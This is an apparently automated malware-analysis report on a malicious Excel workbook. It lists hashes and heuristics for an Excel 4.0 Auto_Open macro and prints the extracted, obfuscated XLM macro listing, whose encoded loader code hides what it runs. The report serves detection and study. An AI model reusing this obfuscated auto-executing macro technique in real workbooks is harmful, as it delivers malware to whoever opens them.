Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e53f6226e6371c0f…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:59 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: a26aba840c58d8715d994693513efa94 SHA-1: cc5961aaf745a88256389612a655e9a6370f65ba SHA-256: e53f6226e6371c0f03e78cf51dd599f7b8984dc3043947a26548d80c55ed281a
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6885 bytes
SHA-256: 458d6d57f109d4f5edcb076be243d34270f288b5a50975552b7ab5310919533c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ChRqTukdgH
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G175 
' 0018     22 LABEL : Cell Value, String Constant - eFHalCy len=0 
' 0018     20 LABEL : Cell Value, String Constant - fFfBu len=0 
' 0018     23 LABEL : Cell Value, String Constant - imvdxmpo len=0 
' 0018     20 LABEL : Cell Value, String Constant - JLXyD len=0 
' 0018     25 LABEL : Cell Value, String Constant - JUKLizhfEf len=0 
' 0018     24 LABEL : Cell Value, String Constant - KjtVasxLB len=0 
' 0018     21 LABEL : Cell Value, String Constant - ljOcop len=0 
' 0018     25 LABEL : Cell Value, String Constant - lsmCbSYwIe len=0 
' 0018     23 LABEL : Cell Value, String Constant - MSbAcYmW len=0 
' 0018     23 LABEL : Cell Value, String Constant - MXmhFVfi len=0 
' 0018     23 LABEL : Cell Value, String Constant - RcKLBkFZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - SpaxdLjk len=0 
' 0018     26 LABEL : Cell Value, String Constant - TmItuuhzmDF len=0 
' 0018     25 LABEL : Cell Value, String Constant - tPrdNRNePK len=0 
' 0018     20 LABEL : Cell Value, String Constant - VKPts len=0 
' 0018     24 LABEL : Cell Value, String Constant - VoJtDDiWA len=0 
' 0018     22 LABEL : Cell Value, String Constant - WUdGwdE len=0 
' 0018     27 LABEL : Cell Value, String Constant - XAspeiKJHoCK len=0 
' 0018     27 LABEL : Cell Value, String Constant - YCsEWWnGSCWy len=0 
' 0018     20 LABEL : Cell Value, String Constant - yGsTh len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ChRqTukdgH,P65,"",-428.00000000000000000000
'  ChRqTukdgH,P66,"",532.00000000000000000000
'  ChRqTukdgH,P67,"",61.00000000000000000000
'  ChRqTukdgH,P68,"",270.00000000000000000000
'  ChRqTukdgH,P69,"",-528.00000000000000000000
'  ChRqTukdgH,P70,"",484.00000000000000000000
'  ChRqTukdgH,G78,"SET.NAME("imvdxmpo",0+VALUE("0"))",""
'  ChRqTukdgH,G80,"SET.NAME("TmItuuhzmDF",imvdxmpo)",""
'  ChRqTukdgH,G84,"SET.NAME("ljOcop",imvdxmpo)",""
'  ChRqTukdgH,G86,"SET.NAME("WUdGwdE",COUNTA(SpaxdLjk))",""
'  ChRqTukdgH,G89,"SET.NAME("JUKLizhfEf",COUNTA(lsmCbSYwIe))",""
'  ChRqTukdgH,G92,[],""
'  ChRqTukdgH,G95,"SET.NAME("KjtVasxLB","")",""
'  ChRqTukdgH,G98,"TmItuuhzmDF",""
'  ChRqTukdgH,G102,"SET.NAME("fFfBu",HLOOKUP("*",SpaxdLjk,TmItuuhzmDF,FALSE))",""
'  ChRqTukdgH,G104,"RcKLBkFZ",""
'  ChRqTukdgH,G109,"SET.NAME("XAspeiKJHoCK",imvdxmpo)",""
'  ChRqTukdgH,G114,[],""
'  ChRqTukdgH,G118,"XAspeiKJHoCK",""
'  ChRqTukdgH,G123,"eFHalCy",""
'  ChRqTukdgH,G128,"MSbAcYmW",""
'  ChRqTukdgH,G131,"tPrdNRNePK",""
'  ChRqTukdgH,G136,"SET.NAME("JLXyD",VALUE(HLOOKUP("*",lsmCbSYwIe,tPrdNRNePK,FALSE)))",""
'  ChRqTukdgH,G139,"VKPts",""
'  ChRqTukdgH,G142,"KjtVasxLB",""
'  ChRqTukdgH,G146,"ljOcop",""
'  ChRqTukdgH,G151,NEXT(),""
'  ChRqTukdgH,G155,"yGsTh",""
'  ChRqTukdgH,G159,[],""
'  ChRqTukdgH,G164,"YCsEWWnGSCWy",""
'  ChRqTukdgH,G167,NEXT(),""
'  ChRqTukdgH,G170,RETURN(),""
'  ChRqTukdgH,G200,"SET.NAME("MXmhFVfi",G78)",""
'  ChRqTukdgH,G203,"SpaxdLjk",""
'  ChRqTukdgH,G205,"SET.NAME("lsmCbSYwIe",R43C13)",""
'  ChRqTukdgH,G210,"SET.NAME("YCsEWWnGSCWy",218)",""
'  ChRqTukdgH,G213,"SET.NAME("VoJtDDiWA",7)",""
'  ChRqTukdgH,G217,MXmhFVfi(),""
'  ChRqTukdgH,G218,HALT(),""

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